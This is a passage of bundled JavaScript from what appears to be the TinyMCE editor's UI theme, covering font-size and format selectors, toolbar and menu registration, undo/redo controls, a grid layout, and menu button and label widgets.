    var FontSelect = { register: register$1 };

    var round = function (number, precision) {
      var factor = Math.pow(10, precision);
      return Math.round(number * factor) / factor;
    };
    var toPt = function (fontSize, precision) {
      if (/[0-9.]+px$/.test(fontSize)) {
        return round(parseInt(fontSize, 10) * 72 / 96, precision || 0) + 'pt';
      }
      return fontSize;
    };
    var findMatchingValue$1 = function (items, pt, px) {
      var value;
      global$2.each(items, function (item) {
        if (item.value === px) {
          value = px;
        } else if (item.value === pt) {
          value = pt;
        }
      });
      return value;
    };
    var createFontSizeListBoxChangeHandler = function (editor, items) {
      return function () {
        var self = this;
        editor.on('init nodeChange', function (e) {
          var px, pt, precision, match;
          px = editor.queryCommandValue('FontSize');
          if (px) {
            for (precision = 3; !match && precision >= 0; precision--) {
              pt = toPt(px, precision);
              match = findMatchingValue$1(items, pt, px);
            }
          }
          self.value(match ? match : null);
          if (!match) {
            self.text(pt);
          }
        });
      };
    };
    var getFontSizeItems = function (editor) {
      var defaultFontsizeFormats = '8pt 10pt 12pt 14pt 18pt 24pt 36pt';
      var fontsizeFormats = editor.settings.fontsize_formats || defaultFontsizeFormats;
      return global$2.map(fontsizeFormats.split(' '), function (item) {
        var text = item, value = item;
        var values = item.split('=');
        if (values.length > 1) {
          text = values[0];
          value = values[1];
        }
        return {
          text: text,
          value: value
        };
      });
    };
    var registerButtons$1 = function (editor) {
      editor.addButton('fontsizeselect', function () {
        var items = getFontSizeItems(editor);
        return {
          type: 'listbox',
          text: 'Font Sizes',
          tooltip: 'Font Sizes',
          values: items,
          fixedWidth: true,
          onPostRender: createFontSizeListBoxChangeHandler(editor, items),
          onclick: function (e) {
            if (e.control.settings.value) {
              editor.execCommand('FontSize', false, e.control.settings.value);
            }
          }
        };
      });
    };
    var register$2 = function (editor) {
      registerButtons$1(editor);
    };
    var FontSizeSelect = { register: register$2 };

    var hideMenuObjects = function (editor, menu) {
      var count = menu.length;
      global$2.each(menu, function (item) {
        if (item.menu) {
          item.hidden = hideMenuObjects(editor, item.menu) === 0;
        }
        var formatName = item.format;
        if (formatName) {
          item.hidden = !editor.formatter.canApply(formatName);
        }
        if (item.hidden) {
          count--;
        }
      });
      return count;
    };
    var hideFormatMenuItems = function (editor, menu) {
      var count = menu.items().length;
      menu.items().each(function (item) {
        if (item.menu) {
          item.visible(hideFormatMenuItems(editor, item.menu) > 0);
        }
        if (!item.menu && item.settings.menu) {
          item.visible(hideMenuObjects(editor, item.settings.menu) > 0);
        }
        var formatName = item.settings.format;
        if (formatName) {
          item.visible(editor.formatter.canApply(formatName));
        }
        if (!item.visible()) {
          count--;
        }
      });
      return count;
    };
    var createFormatMenu = function (editor) {
      var count = 0;
      var newFormats = [];
      var defaultStyleFormats = [
        {
          title: 'Headings',
          items: [
            {
              title: 'Heading 1',
              format: 'h1'
            },
            {
              title: 'Heading 2',
              format: 'h2'
            },
            {
              title: 'Heading 3',
              format: 'h3'
            },
            {
              title: 'Heading 4',
              format: 'h4'
            },
            {
              title: 'Heading 5',
              format: 'h5'
            },
            {
              title: 'Heading 6',
              format: 'h6'
            }
          ]
        },
        {
          title: 'Inline',
          items: [
            {
              title: 'Bold',
              icon: 'bold',
              format: 'bold'
            },
            {
              title: 'Italic',
              icon: 'italic',
              format: 'italic'
            },
            {
              title: 'Underline',
              icon: 'underline',
              format: 'underline'
            },
            {
              title: 'Strikethrough',
              icon: 'strikethrough',
              format: 'strikethrough'
            },
            {
              title: 'Superscript',
              icon: 'superscript',
              format: 'superscript'
            },
            {
              title: 'Subscript',
              icon: 'subscript',
              format: 'subscript'
            },
            {
              title: 'Code',
              icon: 'code',
              format: 'code'
            }
          ]
        },
        {
          title: 'Blocks',
          items: [
            {
              title: 'Paragraph',
              format: 'p'
            },
            {
              title: 'Blockquote',
              format: 'blockquote'
            },
            {
              title: 'Div',
              format: 'div'
            },
            {
              title: 'Pre',
              format: 'pre'
            }
          ]
        },
        {
          title: 'Alignment',
          items: [
            {
              title: 'Left',
              icon: 'alignleft',
              format: 'alignleft'
            },
            {
              title: 'Center',
              icon: 'aligncenter',
              format: 'aligncenter'
            },
            {
              title: 'Right',
              icon: 'alignright',
              format: 'alignright'
            },
            {
              title: 'Justify',
              icon: 'alignjustify',
              format: 'alignjustify'
            }
          ]
        }
      ];
      var createMenu = function (formats) {
        var menu = [];
        if (!formats) {
          return;
        }
        global$2.each(formats, function (format) {
          var menuItem = {
            text: format.title,
            icon: format.icon
          };
          if (format.items) {
            menuItem.menu = createMenu(format.items);
          } else {
            var formatName = format.format || 'custom' + count++;
            if (!format.format) {
              format.name = formatName;
              newFormats.push(format);
            }
            menuItem.format = formatName;
            menuItem.cmd = format.cmd;
          }
          menu.push(menuItem);
        });
        return menu;
      };
      var createStylesMenu = function () {
        var menu;
        if (editor.settings.style_formats_merge) {
          if (editor.settings.style_formats) {
            menu = createMenu(defaultStyleFormats.concat(editor.settings.style_formats));
          } else {
            menu = createMenu(defaultStyleFormats);
          }
        } else {
          menu = createMenu(editor.settings.style_formats || defaultStyleFormats);
        }
        return menu;
      };
      editor.on('init', function () {
        global$2.each(newFormats, function (format) {
          editor.formatter.register(format.name, format);
        });
      });
      return {
        type: 'menu',
        items: createStylesMenu(),
        onPostRender: function (e) {
          editor.fire('renderFormatsMenu', { control: e.control });
        },
        itemDefaults: {
          preview: true,
          textStyle: function () {
            if (this.settings.format) {
              return editor.formatter.getCssText(this.settings.format);
            }
          },
          onPostRender: function () {
            var self = this;
            self.parent().on('show', function () {
              var formatName, command;
              formatName = self.settings.format;
              if (formatName) {
                self.disabled(!editor.formatter.canApply(formatName));
                self.active(editor.formatter.match(formatName));
              }
              command = self.settings.cmd;
              if (command) {
                self.active(editor.queryCommandState(command));
              }
            });
          },
          onclick: function () {
            if (this.settings.format) {
              toggleFormat(editor, this.settings.format)();
            }
            if (this.settings.cmd) {
              editor.execCommand(this.settings.cmd);
            }
          }
        }
      };
    };
    var registerMenuItems = function (editor, formatMenu) {
      editor.addMenuItem('formats', {
        text: 'Formats',
        menu: formatMenu
      });
    };
    var registerButtons$2 = function (editor, formatMenu) {
      editor.addButton('styleselect', {
        type: 'menubutton',
        text: 'Formats',
        menu: formatMenu,
        onShowMenu: function () {
          if (editor.settings.style_formats_autohide) {
            hideFormatMenuItems(editor, this.menu);
          }
        }
      });
    };
    var register$3 = function (editor) {
      var formatMenu = createFormatMenu(editor);
      registerMenuItems(editor, formatMenu);
      registerButtons$2(editor, formatMenu);
    };
    var Formats = { register: register$3 };

    var defaultBlocks = 'Paragraph=p;' + 'Heading 1=h1;' + 'Heading 2=h2;' + 'Heading 3=h3;' + 'Heading 4=h4;' + 'Heading 5=h5;' + 'Heading 6=h6;' + 'Preformatted=pre';
    var createFormats$1 = function (formats) {
      formats = formats.replace(/;$/, '').split(';');
      var i = formats.length;
      while (i--) {
        formats[i] = formats[i].split('=');
      }
      return formats;
    };
    var createListBoxChangeHandler = function (editor, items, formatName) {
      return function () {
        var self = this;
        editor.on('nodeChange', function (e) {
          var formatter = editor.formatter;
          var value = null;
          global$2.each(e.parents, function (node) {
            global$2.each(items, function (item) {
              if (formatName) {
                if (formatter.matchNode(node, formatName, { value: item.value })) {
                  value = item.value;
                }
              } else {
                if (formatter.matchNode(node, item.value)) {
                  value = item.value;
                }
              }
              if (value) {
                return false;
              }
            });
            if (value) {
              return false;
            }
          });
          self.value(value);
        });
      };
    };
    var lazyFormatSelectBoxItems = function (editor, blocks) {
      return function () {
        var items = [];
        global$2.each(blocks, function (block) {
          items.push({
            text: block[0],
            value: block[1],
            textStyle: function () {
              return editor.formatter.getCssText(block[1]);
            }
          });
        });
        return {
          type: 'listbox',
          text: blocks[0][0],
          values: items,
          fixedWidth: true,
          onselect: function (e) {
            if (e.control) {
              var fmt = e.control.value();
              toggleFormat(editor, fmt)();
            }
          },
          onPostRender: createListBoxChangeHandler(editor, items)
        };
      };
    };
    var buildMenuItems = function (editor, blocks) {
      return global$2.map(blocks, function (block) {
        return {
          text: block[0],
          onclick: toggleFormat(editor, block[1]),
          textStyle: function () {
            return editor.formatter.getCssText(block[1]);
          }
        };
      });
    };
    var register$4 = function (editor) {
      var blocks = createFormats$1(editor.settings.block_formats || defaultBlocks);
      editor.addMenuItem('blockformats', {
        text: 'Blocks',
        menu: buildMenuItems(editor, blocks)
      });
      editor.addButton('formatselect', lazyFormatSelectBoxItems(editor, blocks));
    };
    var FormatSelect = { register: register$4 };

    var createCustomMenuItems = function (editor, names) {
      var items, nameList;
      if (typeof names === 'string') {
        nameList = names.split(' ');
      } else if (global$2.isArray(names)) {
        return flatten(global$2.map(names, function (names) {
          return createCustomMenuItems(editor, names);
        }));
      }
      items = global$2.grep(nameList, function (name) {
        return name === '|' || name in editor.menuItems;
      });
      return global$2.map(items, function (name) {
        return name === '|' ? { text: '-' } : editor.menuItems[name];
      });
    };
    var isSeparator$1 = function (menuItem) {
      return menuItem && menuItem.text === '-';
    };
    var trimMenuItems = function (menuItems) {
      var menuItems2 = filter(menuItems, function (menuItem, i) {
        return !isSeparator$1(menuItem) || !isSeparator$1(menuItems[i - 1]);
      });
      return filter(menuItems2, function (menuItem, i) {
        return !isSeparator$1(menuItem) || i > 0 && i < menuItems2.length - 1;
      });
    };
    var createContextMenuItems = function (editor, context) {
      var outputMenuItems = [{ text: '-' }];
      var menuItems = global$2.grep(editor.menuItems, function (menuItem) {
        return menuItem.context === context;
      });
      global$2.each(menuItems, function (menuItem) {
        if (menuItem.separator === 'before') {
          outputMenuItems.push({ text: '|' });
        }
        if (menuItem.prependToContext) {
          outputMenuItems.unshift(menuItem);
        } else {
          outputMenuItems.push(menuItem);
        }
        if (menuItem.separator === 'after') {
          outputMenuItems.push({ text: '|' });
        }
      });
      return outputMenuItems;
    };
    var createInsertMenu = function (editor) {
      var insertButtonItems = editor.settings.insert_button_items;
      if (insertButtonItems) {
        return trimMenuItems(createCustomMenuItems(editor, insertButtonItems));
      } else {
        return trimMenuItems(createContextMenuItems(editor, 'insert'));
      }
    };
    var registerButtons$3 = function (editor) {
      editor.addButton('insert', {
        type: 'menubutton',
        icon: 'insert',
        menu: [],
        oncreatemenu: function () {
          this.menu.add(createInsertMenu(editor));
          this.menu.renderNew();
        }
      });
    };
    var register$5 = function (editor) {
      registerButtons$3(editor);
    };
    var InsertButton = { register: register$5 };

    var registerFormatButtons = function (editor) {
      global$2.each({
        bold: 'Bold',
        italic: 'Italic',
        underline: 'Underline',
        strikethrough: 'Strikethrough',
        subscript: 'Subscript',
        superscript: 'Superscript'
      }, function (text, name) {
        editor.addButton(name, {
          active: false,
          tooltip: text,
          onPostRender: postRenderFormatToggle(editor, name),
          onclick: toggleFormat(editor, name)
        });
      });
    };
    var registerCommandButtons = function (editor) {
      global$2.each({
        outdent: [
          'Decrease indent',
          'Outdent'
        ],
        indent: [
          'Increase indent',
          'Indent'
        ],
        cut: [
          'Cut',
          'Cut'
        ],
        copy: [
          'Copy',
          'Copy'
        ],
        paste: [
          'Paste',
          'Paste'
        ],
        help: [
          'Help',
          'mceHelp'
        ],
        selectall: [
          'Select all',
          'SelectAll'
        ],
        visualaid: [
          'Visual aids',
          'mceToggleVisualAid'
        ],
        newdocument: [
          'New document',
          'mceNewDocument'
        ],
        removeformat: [
          'Clear formatting',
          'RemoveFormat'
        ],
        remove: [
          'Remove',
          'Delete'
        ]
      }, function (item, name) {
        editor.addButton(name, {
          tooltip: item[0],
          cmd: item[1]
        });
      });
    };
    var registerCommandToggleButtons = function (editor) {
      global$2.each({
        blockquote: [
          'Blockquote',
          'mceBlockQuote'
        ],
        subscript: [
          'Subscript',
          'Subscript'
        ],
        superscript: [
          'Superscript',
          'Superscript'
        ]
      }, function (item, name) {
        editor.addButton(name, {
          active: false,
          tooltip: item[0],
          cmd: item[1],
          onPostRender: postRenderFormatToggle(editor, name)
        });
      });
    };
    var registerButtons$4 = function (editor) {
      registerFormatButtons(editor);
      registerCommandButtons(editor);
      registerCommandToggleButtons(editor);
    };
    var registerMenuItems$1 = function (editor) {
      global$2.each({
        bold: [
          'Bold',
          'Bold',
          'Meta+B'
        ],
        italic: [
          'Italic',
          'Italic',
          'Meta+I'
        ],
        underline: [
          'Underline',
          'Underline',
          'Meta+U'
        ],
        strikethrough: [
          'Strikethrough',
          'Strikethrough'
        ],
        subscript: [
          'Subscript',
          'Subscript'
        ],
        superscript: [
          'Superscript',
          'Superscript'
        ],
        removeformat: [
          'Clear formatting',
          'RemoveFormat'
        ],
        newdocument: [
          'New document',
          'mceNewDocument'
        ],
        cut: [
          'Cut',
          'Cut',
          'Meta+X'
        ],
        copy: [
          'Copy',
          'Copy',
          'Meta+C'
        ],
        paste: [
          'Paste',
          'Paste',
          'Meta+V'
        ],
        selectall: [
          'Select all',
          'SelectAll',
          'Meta+A'
        ]
      }, function (item, name) {
        editor.addMenuItem(name, {
          text: item[0],
          icon: name,
          shortcut: item[2],
          cmd: item[1]
        });
      });
      editor.addMenuItem('codeformat', {
        text: 'Code',
        icon: 'code',
        onclick: toggleFormat(editor, 'code')
      });
    };
    var register$6 = function (editor) {
      registerButtons$4(editor);
      registerMenuItems$1(editor);
    };
    var SimpleControls = { register: register$6 };

    var toggleUndoRedoState = function (editor, type) {
      return function () {
        var self = this;
        var checkState = function () {
          var typeFn = type === 'redo' ? 'hasRedo' : 'hasUndo';
          return editor.undoManager ? editor.undoManager[typeFn]() : false;
        };
        self.disabled(!checkState());
        editor.on('Undo Redo AddUndo TypingUndo ClearUndos SwitchMode', function () {
          self.disabled(editor.readonly || !checkState());
        });
      };
    };
    var registerMenuItems$2 = function (editor) {
      editor.addMenuItem('undo', {
        text: 'Undo',
        icon: 'undo',
        shortcut: 'Meta+Z',
        onPostRender: toggleUndoRedoState(editor, 'undo'),
        cmd: 'undo'
      });
      editor.addMenuItem('redo', {
        text: 'Redo',
        icon: 'redo',
        shortcut: 'Meta+Y',
        onPostRender: toggleUndoRedoState(editor, 'redo'),
        cmd: 'redo'
      });
    };
    var registerButtons$5 = function (editor) {
      editor.addButton('undo', {
        tooltip: 'Undo',
        onPostRender: toggleUndoRedoState(editor, 'undo'),
        cmd: 'undo'
      });
      editor.addButton('redo', {
        tooltip: 'Redo',
        onPostRender: toggleUndoRedoState(editor, 'redo'),
        cmd: 'redo'
      });
    };
    var register$7 = function (editor) {
      registerMenuItems$2(editor);
      registerButtons$5(editor);
    };
    var UndoRedo = { register: register$7 };

    var toggleVisualAidState = function (editor) {
      return function () {
        var self = this;
        editor.on('VisualAid', function (e) {
          self.active(e.hasVisual);
        });
        self.active(editor.hasVisual);
      };
    };
    var registerMenuItems$3 = function (editor) {
      editor.addMenuItem('visualaid', {
        text: 'Visual aids',
        selectable: true,
        onPostRender: toggleVisualAidState(editor),
        cmd: 'mceToggleVisualAid'
      });
    };
    var register$8 = function (editor) {
      registerMenuItems$3(editor);
    };
    var VisualAid = { register: register$8 };

    var setupEnvironment = function () {
      Widget.tooltips = !global$8.iOS;
      Control$1.translate = function (text) {
        return global$1.translate(text);
      };
    };
    var setupUiContainer = function (editor) {
      if (editor.settings.ui_container) {
        global$8.container = descendant(Element.fromDom(domGlobals.document.body), editor.settings.ui_container).fold(constant(null), function (elm) {
          return elm.dom();
        });
      }
    };
    var setupRtlMode = function (editor) {
      if (editor.rtl) {
        Control$1.rtl = true;
      }
    };
    var setupHideFloatPanels = function (editor) {
      editor.on('mousedown progressstate', function () {
        FloatPanel.hideAll();
      });
    };
    var setup$1 = function (editor) {
      setupRtlMode(editor);
      setupHideFloatPanels(editor);
      setupUiContainer(editor);
      setupEnvironment();
      FormatSelect.register(editor);
      Align.register(editor);
      SimpleControls.register(editor);
      UndoRedo.register(editor);
      FontSizeSelect.register(editor);
      FontSelect.register(editor);
      Formats.register(editor);
      VisualAid.register(editor);
      InsertButton.register(editor);
    };
    var FormatControls = { setup: setup$1 };

    var GridLayout = AbsoluteLayout.extend({
      recalc: function (container) {
        var settings, rows, cols, items, contLayoutRect, width, height, rect, ctrlLayoutRect, ctrl, x, y, posX, posY, ctrlSettings, contPaddingBox, align, spacingH, spacingV, alignH, alignV, maxX, maxY;
        var colWidths = [];
        var rowHeights = [];
        var ctrlMinWidth, ctrlMinHeight, availableWidth, availableHeight, reverseRows, idx;
        settings = container.settings;
        items = container.items().filter(':visible');
        contLayoutRect = container.layoutRect();
        cols = settings.columns || Math.ceil(Math.sqrt(items.length));
        rows = Math.ceil(items.length / cols);
        spacingH = settings.spacingH || settings.spacing || 0;
        spacingV = settings.spacingV || settings.spacing || 0;
        alignH = settings.alignH || settings.align;
        alignV = settings.alignV || settings.align;
        contPaddingBox = container.paddingBox;
        reverseRows = 'reverseRows' in settings ? settings.reverseRows : container.isRtl();
        if (alignH && typeof alignH === 'string') {
          alignH = [alignH];
        }
        if (alignV && typeof alignV === 'string') {
          alignV = [alignV];
        }
        for (x = 0; x < cols; x++) {
          colWidths.push(0);
        }
        for (y = 0; y < rows; y++) {
          rowHeights.push(0);
        }
        for (y = 0; y < rows; y++) {
          for (x = 0; x < cols; x++) {
            ctrl = items[y * cols + x];
            if (!ctrl) {
              break;
            }
            ctrlLayoutRect = ctrl.layoutRect();
            ctrlMinWidth = ctrlLayoutRect.minW;
            ctrlMinHeight = ctrlLayoutRect.minH;
            colWidths[x] = ctrlMinWidth > colWidths[x] ? ctrlMinWidth : colWidths[x];
            rowHeights[y] = ctrlMinHeight > rowHeights[y] ? ctrlMinHeight : rowHeights[y];
          }
        }
        availableWidth = contLayoutRect.innerW - contPaddingBox.left - contPaddingBox.right;
        for (maxX = 0, x = 0; x < cols; x++) {
          maxX += colWidths[x] + (x > 0 ? spacingH : 0);
          availableWidth -= (x > 0 ? spacingH : 0) + colWidths[x];
        }
        availableHeight = contLayoutRect.innerH - contPaddingBox.top - contPaddingBox.bottom;
        for (maxY = 0, y = 0; y < rows; y++) {
          maxY += rowHeights[y] + (y > 0 ? spacingV : 0);
          availableHeight -= (y > 0 ? spacingV : 0) + rowHeights[y];
        }
        maxX += contPaddingBox.left + contPaddingBox.right;
        maxY += contPaddingBox.top + contPaddingBox.bottom;
        rect = {};
        rect.minW = maxX + (contLayoutRect.w - contLayoutRect.innerW);
        rect.minH = maxY + (contLayoutRect.h - contLayoutRect.innerH);
        rect.contentW = rect.minW - contLayoutRect.deltaW;
        rect.contentH = rect.minH - contLayoutRect.deltaH;
        rect.minW = Math.min(rect.minW, contLayoutRect.maxW);
        rect.minH = Math.min(rect.minH, contLayoutRect.maxH);
        rect.minW = Math.max(rect.minW, contLayoutRect.startMinWidth);
        rect.minH = Math.max(rect.minH, contLayoutRect.startMinHeight);
        if (contLayoutRect.autoResize && (rect.minW !== contLayoutRect.minW || rect.minH !== contLayoutRect.minH)) {
          rect.w = rect.minW;
          rect.h = rect.minH;
          container.layoutRect(rect);
          this.recalc(container);
          if (container._lastRect === null) {
            var parentCtrl = container.parent();
            if (parentCtrl) {
              parentCtrl._lastRect = null;
              parentCtrl.recalc();
            }
          }
          return;
        }
        if (contLayoutRect.autoResize) {
          rect = container.layoutRect(rect);
          rect.contentW = rect.minW - contLayoutRect.deltaW;
          rect.contentH = rect.minH - contLayoutRect.deltaH;
        }
        var flexV;
        if (settings.packV === 'start') {
          flexV = 0;
        } else {
          flexV = availableHeight > 0 ? Math.floor(availableHeight / rows) : 0;
        }
        var totalFlex = 0;
        var flexWidths = settings.flexWidths;
        if (flexWidths) {
          for (x = 0; x < flexWidths.length; x++) {
            totalFlex += flexWidths[x];
          }
        } else {
          totalFlex = cols;
        }
        var ratio = availableWidth / totalFlex;
        for (x = 0; x < cols; x++) {
          colWidths[x] += flexWidths ? flexWidths[x] * ratio : ratio;
        }
        posY = contPaddingBox.top;
        for (y = 0; y < rows; y++) {
          posX = contPaddingBox.left;
          height = rowHeights[y] + flexV;
          for (x = 0; x < cols; x++) {
            if (reverseRows) {
              idx = y * cols + cols - 1 - x;
            } else {
              idx = y * cols + x;
            }
            ctrl = items[idx];
            if (!ctrl) {
              break;
            }
            ctrlSettings = ctrl.settings;
            ctrlLayoutRect = ctrl.layoutRect();
            width = Math.max(colWidths[x], ctrlLayoutRect.startMinWidth);
            ctrlLayoutRect.x = posX;
            ctrlLayoutRect.y = posY;
            align = ctrlSettings.alignH || (alignH ? alignH[x] || alignH[0] : null);
            if (align === 'center') {
              ctrlLayoutRect.x = posX + width / 2 - ctrlLayoutRect.w / 2;
            } else if (align === 'right') {
              ctrlLayoutRect.x = posX + width - ctrlLayoutRect.w;
            } else if (align === 'stretch') {
              ctrlLayoutRect.w = width;
            }
            align = ctrlSettings.alignV || (alignV ? alignV[x] || alignV[0] : null);
            if (align === 'center') {
              ctrlLayoutRect.y = posY + height / 2 - ctrlLayoutRect.h / 2;
            } else if (align === 'bottom') {
              ctrlLayoutRect.y = posY + height - ctrlLayoutRect.h;
            } else if (align === 'stretch') {
              ctrlLayoutRect.h = height;
            }
            ctrl.layoutRect(ctrlLayoutRect);
            posX += width + spacingH;
            if (ctrl.recalc) {
              ctrl.recalc();
            }
          }
          posY += height + spacingV;
        }
      }
    });

    var Iframe$1 = Widget.extend({
      renderHtml: function () {
        var self = this;
        self.classes.add('iframe');
        self.canFocus = false;
        return '<iframe id="' + self._id + '" class="' + self.classes + '" tabindex="-1" src="' + (self.settings.url || 'javascript:\'\'') + '" frameborder="0"></iframe>';
      },
      src: function (src) {
        this.getEl().src = src;
      },
      html: function (html, callback) {
        var self = this, body = this.getEl().contentWindow.document.body;
        if (!body) {
          global$7.setTimeout(function () {
            self.html(html);
          });
        } else {
          body.innerHTML = html;
          if (callback) {
            callback();
          }
        }
        return this;
      }
    });

    var InfoBox = Widget.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('widget').add('infobox');
        self.canFocus = false;
      },
      severity: function (level) {
        this.classes.remove('error');
        this.classes.remove('warning');
        this.classes.remove('success');
        this.classes.add(level);
      },
      help: function (state) {
        this.state.set('help', state);
      },
      renderHtml: function () {
        var self = this, prefix = self.classPrefix;
        return '<div id="' + self._id + '" class="' + self.classes + '">' + '<div id="' + self._id + '-body">' + self.encode(self.state.get('text')) + '<button role="button" tabindex="-1">' + '<i class="' + prefix + 'ico ' + prefix + 'i-help"></i>' + '</button>' + '</div>' + '</div>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:text', function (e) {
          self.getEl('body').firstChild.data = self.encode(e.value);
          if (self.state.get('rendered')) {
            self.updateLayoutRect();
          }
        });
        self.state.on('change:help', function (e) {
          self.classes.toggle('has-help', e.value);
          if (self.state.get('rendered')) {
            self.updateLayoutRect();
          }
        });
        return self._super();
      }
    });

    var Label = Widget.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('widget').add('label');
        self.canFocus = false;
        if (settings.multiline) {
          self.classes.add('autoscroll');
        }
        if (settings.strong) {
          self.classes.add('strong');
        }
      },
      initLayoutRect: function () {
        var self = this, layoutRect = self._super();
        if (self.settings.multiline) {
          var size = funcs.getSize(self.getEl());
          if (size.width > layoutRect.maxW) {
            layoutRect.minW = layoutRect.maxW;
            self.classes.add('multiline');
          }
          self.getEl().style.width = layoutRect.minW + 'px';
          layoutRect.startMinH = layoutRect.h = layoutRect.minH = Math.min(layoutRect.maxH, funcs.getSize(self.getEl()).height);
        }
        return layoutRect;
      },
      repaint: function () {
        var self = this;
        if (!self.settings.multiline) {
          self.getEl().style.lineHeight = self.layoutRect().h + 'px';
        }
        return self._super();
      },
      severity: function (level) {
        this.classes.remove('error');
        this.classes.remove('warning');
        this.classes.remove('success');
        this.classes.add(level);
      },
      renderHtml: function () {
        var self = this;
        var targetCtrl, forName, forId = self.settings.forId;
        var text = self.settings.html ? self.settings.html : self.encode(self.state.get('text'));
        if (!forId && (forName = self.settings.forName)) {
          targetCtrl = self.getRoot().find('#' + forName)[0];
          if (targetCtrl) {
            forId = targetCtrl._id;
          }
        }
        if (forId) {
          return '<label id="' + self._id + '" class="' + self.classes + '"' + (forId ? ' for="' + forId + '"' : '') + '>' + text + '</label>';
        }
        return '<span id="' + self._id + '" class="' + self.classes + '">' + text + '</span>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:text', function (e) {
          self.innerHtml(self.encode(e.value));
          if (self.state.get('rendered')) {
            self.updateLayoutRect();
          }
        });
        return self._super();
      }
    });

    var Toolbar$1 = Container.extend({
      Defaults: {
        role: 'toolbar',
        layout: 'flow'
      },
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('toolbar');
      },
      postRender: function () {
        var self = this;
        self.items().each(function (ctrl) {
          ctrl.classes.add('toolbar-item');
        });
        return self._super();
      }
    });

    var MenuBar = Toolbar$1.extend({
      Defaults: {
        role: 'menubar',
        containerCls: 'menubar',
        ariaRoot: true,
        defaults: { type: 'menubutton' }
      }
    });

    function isChildOf$1(node, parent) {
      while (node) {
        if (parent === node) {
          return true;
        }
        node = node.parentNode;
      }
      return false;
    }
    var MenuButton = Button.extend({
      init: function (settings) {
        var self = this;
        self._renderOpen = true;
        self._super(settings);
        settings = self.settings;
        self.classes.add('menubtn');
        if (settings.fixedWidth) {
          self.classes.add('fixed-width');
        }
        self.aria('haspopup', true);
        self.state.set('menu', settings.menu || self.render());
      },
      showMenu: function (toggle) {
        var self = this;
        var menu;
        if (self.menu && self.menu.visible() && toggle !== false) {
          return self.hideMenu();
        }
        if (!self.menu) {
          menu = self.state.get('menu') || [];
          self.classes.add('opened');
          if (menu.length) {
            menu = {
              type: 'menu',
              animate: true,
              items: menu
            };
          } else {
            menu.type = menu.type || 'menu';
            menu.animate = true;
          }
          if (!menu.renderTo) {
            self.menu = global$4.create(menu).parent(self).renderTo();
          } else {
            self.menu = menu.parent(self).show().renderTo();
          }
          self.fire('createmenu');
          self.menu.reflow();
          self.menu.on('cancel', function (e) {
            if (e.control.parent() === self.menu) {
              e.stopPropagation();
              self.focus();
              self.hideMenu();
            }
          });
          self.menu.on('select', function () {
            self.focus();
          });
          self.menu.on('show hide', function (e) {
            if (e.type === 'hide' && e.control.parent() === self) {
              self.classes.remove('opened-under');
            }
            if (e.control === self.menu) {
              self.activeMenu(e.type === 'show');
              self.classes.toggle('opened', e.type === 'show');
            }
            self.aria('expanded', e.type === 'show');
          }).fire('show');
        }
        self.menu.show();
        self.menu.layoutRect({ w: self.layoutRect().w });
        self.menu.repaint();
        self.menu.moveRel(self.getEl(), self.isRtl() ? [
          'br-tr',
          'tr-br'
        ] : [
          'bl-tl',
          'tl-bl'
        ]);
        var menuLayoutRect = self.menu.layoutRect();
        var selfBottom = self.$el.offset().top + self.layoutRect().h;
        if (selfBottom > menuLayoutRect.y && selfBottom < menuLayoutRect.y + menuLayoutRect.h) {
          self.classes.add('opened-under');
        }
        self.fire('showmenu');
      },
      hideMenu: function () {
        var self = this;
        if (self.menu) {
          self.menu.items().each(function (item) {
            if (item.hideMenu) {
              item.hideMenu();
            }
          });
          self.menu.hide();
        }
      },
      activeMenu: function (state) {
        this.classes.toggle('active', state);
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix;
        var icon = self.settings.icon, image;
        var text = self.state.get('text');
        var textHtml = '';
        image = self.settings.image;
        if (image) {
          icon = 'none';
          if (typeof image !== 'string') {
            image = domGlobals.window.getSelection ? image[0] : image[1];
          }
          image = ' style="background-image: url(\'' + image + '\')"';
        } else {
          image = '';
        }
        if (text) {
          self.classes.add('btn-has-text');
          textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
        }
        icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
        self.aria('role', self.parent() instanceof MenuBar ? 'menuitem' : 'button');
        return '<div id="' + id + '" class="' + self.classes + '" tabindex="-1" aria-labelledby="' + id + '">' + '<button id="' + id + '-open" role="presentation" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
      },
      postRender: function () {
        var self = this;
        self.on('click', function (e) {
          if (e.control === self && isChildOf$1(e.target, self.getEl())) {
            self.focus();
            self.showMenu(!e.aria);
            if (e.aria) {
              self.menu.items().filter(':visible')[0].focus();
            }
          }
        });
        self.on('mouseenter', function (e) {
          var overCtrl = e.control;
          var parent = self.parent();
          var hasVisibleSiblingMenu;
          if (overCtrl && parent && overCtrl instanceof MenuButton && overCtrl.parent() === parent) {
            parent.items().filter('MenuButton').each(function (ctrl) {
              if (ctrl.hideMenu && ctrl !== overCtrl) {
                if (ctrl.menu && ctrl.menu.visible()) {
                  hasVisibleSiblingMenu = true;
                }
                ctrl.hideMenu();
              }
            });
            if (hasVisibleSiblingMenu) {
              overCtrl.focus();
              overCtrl.showMenu();
            }
          }
        });
        return self._super();
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:menu', function () {
          if (self.menu) {
            self.menu.remove();
          }
          self.menu = null;
        });
        return self._super();
      },
      remove: function () {
        this._super();
        if (this.menu) {
          this.menu.remove();
        }
      }
    });

    var Menu = FloatPanel.extend({
      Defaults: {
        defaultType: 'menuitem',
        border: 1,
        layout: 'stack',
        role: 'application',
        bodyRole: 'menu',
        ariaRoot: true
      },
      init: function (settings) {
        var self = this;
        settings.autohide = true;
        settings.constrainToViewport = true;
        if (typeof settings.items === 'function') {
          settings.itemsFactory = settings.items;
          settings.items = [];
        }
        if (settings.itemDefaults) {
          var items = settings.items;
          var i = items.length;
          while (i--) {
            items[i] = global$2.extend({}, settings.itemDefaults, items[i]);
          }
        }
        self._super(settings);
        self.classes.add('menu');
        if (settings.animate && global$8.ie !== 11) {
          self.classes.add('animate');
        }
      },
      repaint: function () {
        this.classes.toggle('menu-align', true);
        this._super();
        this.getEl().style.height = '';
        this.getEl('body').style.height = '';
        return this;
      },
